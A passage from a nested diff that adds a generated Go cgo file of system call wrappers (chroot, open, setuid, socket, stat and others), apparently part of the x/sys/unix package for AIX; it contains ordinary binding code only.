-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Chroot(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.chroot(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Close(fd int) (err error) {
-+ r0, er := C.close(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Dup(oldfd int) (fd int, err error) {
-+ r0, er := C.dup(C.int(oldfd))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Exit(code int) {
-+ C.exit(C.int(code))
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.faccessat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchdir(fd int) (err error) {
-+ r0, er := C.fchdir(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchmod(fd int, mode uint32) (err error) {
-+ r0, er := C.fchmod(C.int(fd), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.fchmodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.fchownat(C.int(dirfd), C.uintptr_t(_p0), C.int(uid), C.int(gid), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fdatasync(fd int) (err error) {
-+ r0, er := C.fdatasync(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fsync(fd int) (err error) {
-+ r0, er := C.fsync(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpgid(pid int) (pgid int, err error) {
-+ r0, er := C.getpgid(C.int(pid))
-+ pgid = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpgrp() (pid int) {
-+ r0, _ := C.getpgrp()
-+ pid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpid() (pid int) {
-+ r0, _ := C.getpid()
-+ pid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getppid() (ppid int) {
-+ r0, _ := C.getppid()
-+ ppid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpriority(which int, who int) (prio int, err error) {
-+ r0, er := C.getpriority(C.int(which), C.int(who))
-+ prio = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrusage(who int, rusage *Rusage) (err error) {
-+ r0, er := C.getrusage(C.int(who), C.uintptr_t(uintptr(unsafe.Pointer(rusage))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getsid(pid int) (sid int, err error) {
-+ r0, er := C.getsid(C.int(pid))
-+ sid = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Kill(pid int, sig Signal) (err error) {
-+ r0, er := C.kill(C.int(pid), C.int(sig))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Klogctl(typ int, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.syslog(C.int(typ), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mkdir(dirfd int, path string, mode uint32) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mkdir(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mkdirat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mkfifo(path string, mode uint32) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mkfifo(C.uintptr_t(_p0), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mknod(path string, mode uint32, dev int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mknod(C.uintptr_t(_p0), C.uint(mode), C.int(dev))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mknodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(dev))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-+ r0, er := C.nanosleep(C.uintptr_t(uintptr(unsafe.Pointer(time))), C.uintptr_t(uintptr(unsafe.Pointer(leftover))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Open(path string, mode int, perm uint32) (fd int, err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.open64(C.uintptr_t(_p0), C.int(mode), C.uint(perm))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.openat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.uint(mode))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func read(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.read(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Readlink(path string, buf []byte) (n int, err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ var _p1 *byte
-+ if len(buf) > 0 {
-+ _p1 = &buf[0]
-+ }
-+ var _p2 int
-+ _p2 = len(buf)
-+ r0, er := C.readlink(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(_p1))), C.size_t(_p2))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(oldpath)))
-+ _p1 := uintptr(unsafe.Pointer(C.CString(newpath)))
-+ r0, er := C.renameat(C.int(olddirfd), C.uintptr_t(_p0), C.int(newdirfd), C.uintptr_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setdomainname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.setdomainname(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Sethostname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.sethostname(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setpgid(pid int, pgid int) (err error) {
-+ r0, er := C.setpgid(C.int(pid), C.int(pgid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setsid() (pid int, err error) {
-+ r0, er := C.setsid()
-+ pid = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Settimeofday(tv *Timeval) (err error) {
-+ r0, er := C.settimeofday(C.uintptr_t(uintptr(unsafe.Pointer(tv))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setuid(uid int) (err error) {
-+ r0, er := C.setuid(C.int(uid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setgid(uid int) (err error) {
-+ r0, er := C.setgid(C.int(uid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setpriority(which int, who int, prio int) (err error) {
-+ r0, er := C.setpriority(C.int(which), C.int(who), C.int(prio))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.statx(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.int(mask), C.uintptr_t(uintptr(unsafe.Pointer(stat))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Sync() {
-+ C.sync()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Times(tms *Tms) (ticks uintptr, err error) {
-+ r0, er := C.times(C.uintptr_t(uintptr(unsafe.Pointer(tms))))
-+ ticks = uintptr(r0)
-+ if uintptr(r0) == ^uintptr(0) && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Umask(mask int) (oldmask int) {
-+ r0, _ := C.umask(C.int(mask))
-+ oldmask = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Uname(buf *Utsname) (err error) {
-+ r0, er := C.uname(C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Unlink(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.unlink(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.unlinkat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ r0, er := C.ustat(C.int(dev), C.uintptr_t(uintptr(unsafe.Pointer(ubuf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func write(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.write(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readlen(fd int, p *byte, np int) (n int, err error) {
-+ r0, er := C.read(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(p))), C.size_t(np))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func writelen(fd int, p *byte, np int) (n int, err error) {
-+ r0, er := C.write(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(p))), C.size_t(np))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Dup2(oldfd int, newfd int) (err error) {
-+ r0, er := C.dup2(C.int(oldfd), C.int(newfd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ r0, er := C.posix_fadvise64(C.int(fd), C.longlong(offset), C.longlong(length), C.int(advice))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ r0, er := C.fchown(C.int(fd), C.int(uid), C.int(gid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstat(fd int, stat *Stat_t) (err error) {
-+ r0, er := C.fstat(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(stat))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.fstatat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(stat))), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, buf *Statfs_t) (err error) {
-+ r0, er := C.fstatfs(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Ftruncate(fd int, length int64) (err error) {
-+ r0, er := C.ftruncate(C.int(fd), C.longlong(length))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getegid() (egid int) {
-+ r0, _ := C.getegid()
-+ egid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Geteuid() (euid int) {
-+ r0, _ := C.geteuid()
-+ euid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getgid() (gid int) {
-+ r0, _ := C.getgid()
-+ gid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getuid() (uid int) {
-+ r0, _ := C.getuid()
-+ uid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lchown(path string, uid int, gid int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.lchown(C.uintptr_t(_p0), C.int(uid), C.int(gid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Listen(s int, n int) (err error) {
-+ r0, er := C.listen(C.int(s), C.int(n))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func lstat(path string, stat *Stat_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.lstat(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(stat))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pause() (err error) {
-+ r0, er := C.pause()
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pread(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.pread64(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.longlong(offset))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.pwrite64(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.longlong(offset))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, er := C.c_select(C.int(nfd), C.uintptr_t(uintptr(unsafe.Pointer(r))), C.uintptr_t(uintptr(unsafe.Pointer(w))), C.uintptr_t(uintptr(unsafe.Pointer(e))), C.uintptr_t(uintptr(unsafe.Pointer(timeout))))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, er := C.pselect(C.int(nfd), C.uintptr_t(uintptr(unsafe.Pointer(r))), C.uintptr_t(uintptr(unsafe.Pointer(w))), C.uintptr_t(uintptr(unsafe.Pointer(e))), C.uintptr_t(uintptr(unsafe.Pointer(timeout))), C.uintptr_t(uintptr(unsafe.Pointer(sigmask))))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setregid(rgid int, egid int) (err error) {
-+ r0, er := C.setregid(C.int(rgid), C.int(egid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setreuid(ruid int, euid int) (err error) {
-+ r0, er := C.setreuid(C.int(ruid), C.int(euid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Shutdown(fd int, how int) (err error) {
-+ r0, er := C.shutdown(C.int(fd), C.int(how))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-+ r0, er := C.splice(C.int(rfd), C.uintptr_t(uintptr(unsafe.Pointer(roff))), C.int(wfd), C.uintptr_t(uintptr(unsafe.Pointer(woff))), C.int(len), C.int(flags))
-+ n = int64(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func stat(path string, statptr *Stat_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.stat(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(statptr))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, buf *Statfs_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.statfs(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Truncate(path string, length int64) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.truncate(C.uintptr_t(_p0), C.longlong(length))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ r0, er := C.bind(C.int(s), C.uintptr_t(uintptr(addr)), C.uintptr_t(uintptr(addrlen)))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ r0, er := C.connect(C.int(s), C.uintptr_t(uintptr(addr)), C.uintptr_t(uintptr(addrlen)))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getgroups(n int, list *_Gid_t) (nn int, err error) {
-+ r0, er := C.getgroups(C.int(n), C.uintptr_t(uintptr(unsafe.Pointer(list))))
-+ nn = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setgroups(n int, list *_Gid_t) (err error) {
-+ r0, er := C.setgroups(C.int(n), C.uintptr_t(uintptr(unsafe.Pointer(list))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-+ r0, er := C.getsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(uintptr(val)), C.uintptr_t(uintptr(unsafe.Pointer(vallen))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-+ r0, er := C.setsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(uintptr(val)), C.uintptr_t(vallen))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socket(domain int, typ int, proto int) (fd int, err error) {
-+ r0, er := C.socket(C.int(domain), C.int(typ), C.int(proto))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-+ r0, er := C.socketpair(C.int(domain), C.int(typ), C.int(proto), C.uintptr_t(uintptr(unsafe.Pointer(fd))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ r0, er := C.getpeername(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
